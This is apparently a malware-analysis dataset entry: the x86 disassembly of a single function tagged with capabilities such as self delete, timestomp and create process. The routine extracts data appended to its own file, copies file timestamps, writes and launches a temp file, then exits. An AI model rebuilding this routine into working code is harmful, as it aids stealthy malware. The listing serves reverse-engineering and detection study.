Function at 0x406d78
Capabilities:
Create process on windows
Delete file
Get common file path
Get file size
Read file on windows
Self delete
Timestomp file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x57
push 0
push 0
dec ecx
jne 0x406d80
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x40714d
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x298]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x298]
mov edx, 0x40
call fcn.00404904
mov esi, eax
cmp esi, 0xffffffff
je 0x407122
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, dword [0x40b824]
setg bl
test bl, bl
je 0x40711c
lea edx, [ebp - 0x29c]
xor eax, eax
call fcn.004026c4
mov edx, dword [ebp - 0x29c]
lea eax, [ebp - 0x14]
mov ecx, 0x407168
call fcn.004033a8
mov eax, dword [ebp - 0x14]
call fcn.0040355c
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x14]
call fcn.004048f4
test al, al
jne 0x40711c
mov eax, dword [ebp - 0x14]
call fcn.0040495c
mov edi, eax
cmp edi, 0xffffffff
je 0x40711c
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x2a0]
call fcn.00406d28
mov edx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x10]
mov ecx, 0x407178
call fcn.004033a8
mov eax, dword [ebp - 0x10]
call fcn.0040495c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x406ecd
mov eax, dword [0x40b824]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x406ebe
push 0
lea eax, [ebp - 8]
push eax
mov edx, 0x100000
mov eax, dword [ebp - 0xc]
call fcn.00406ba4
push eax
mov eax, dword [0x40b810]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x406ebe
mov eax, dword [ebp - 8]
sub dword [ebp - 0xc], eax
mov edx, dword [0x40b810]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404980
cmp dword [ebp - 0xc], 0
ja 0x406e7b
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x35], 1
jmp 0x406ed1
mov byte [ebp - 0x35], 0
push 0
push 0
mov eax, dword [0x40b824]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push 0x100000
mov eax, dword [0x40b810]
push eax
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 8], 0
je 0x406f10
mov edx, dword [0x40b810]
mov ecx, dword [ebp - 8]
mov eax, edi
call fcn.00404980
jmp 0x406ee1
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call sub.kernel32.dll_SetFileTime
push edi
call sub.kernel32.dll_CloseHandle
mov byte [ebp - 0x13a], 0
lea eax, [ebp - 0x13a]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
mov byte [ebp - 0x23f], 0
lea eax, [ebp - 0x23f]
push eax
push 0
push 0x407184
lea eax, [ebp - 0x13a]
push eax
call sub.kernel32.dll_GetTempFileNameA
lea eax, [ebp - 0x2a4]
lea edx, [ebp - 0x23f]
mov ecx, 0x105
call fcn.00403344
mov eax, dword [ebp - 0x2a4]
lea ecx, [ebp - 0x18]
mov edx, 0x407194
call fcn.004049ac
mov eax, dword [ebp - 0x18]
call fcn.0040355c
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 0x18]
call fcn.0040495c
mov edi, eax
cmp edi, 0xffffffff
je 0x40711c
push 0x4071a4
lea edx, [ebp - 0x2a8]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2a8]
push 0x4071bc
push 0x4071c8
lea edx, [ebp - 0x2ac]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2ac]
push 0x4071dc
push 0x4071e8
push 0x407200
push dword [ebp - 0x14]
push 0x407210
lea edx, [ebp - 0x2b4]
xor eax, eax
call fcn.004026c4
mov eax, dword [ebp - 0x2b4]
lea edx, [ebp - 0x2b0]
call fcn.00404700
push dword [ebp - 0x2b0]
push 0x4071bc
push 0x4071c8
push dword [ebp - 0x14]
push 0x4071dc
push 0x40721c
push 0x4071dc
lea edx, [ebp - 0x2b8]
xor eax, eax
call fcn.004026c4
push dword [ebp - 0x2b8]
push 0x4071bc
push 0x407234
push 0x407244
push dword [ebp - 0x18]
push 0x4071bc
lea eax, [ebp - 0x1c]
mov edx, 0x17
call fcn.0040341c
mov eax, dword [ebp - 0x1c]
call fcn.0040335c
push eax
mov eax, dword [ebp - 0x1c]
call fcn.0040355c
mov edx, eax
mov eax, edi
pop ecx
call fcn.00404980
push edi
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x294]
xor ecx, ecx
mov edx, 0x44
call fcn.00402794
mov dword [ebp - 0x268], 1
mov word [ebp - 0x264], 0
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x294]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.0040355c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x40711c
mov eax, dword [ebp - 0x24c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x250]
push eax
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 0x35], 0
je 0x407115
mov eax, dword [0x40b820]
push eax
call sub.kernel32.dll_CloseHandle
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.00405334
push 0
call sub.kernel32.dll_ExitProcess_1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407154
lea eax, [ebp - 0x2b8]
mov edx, 9
call fcn.00403140
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00403140
ret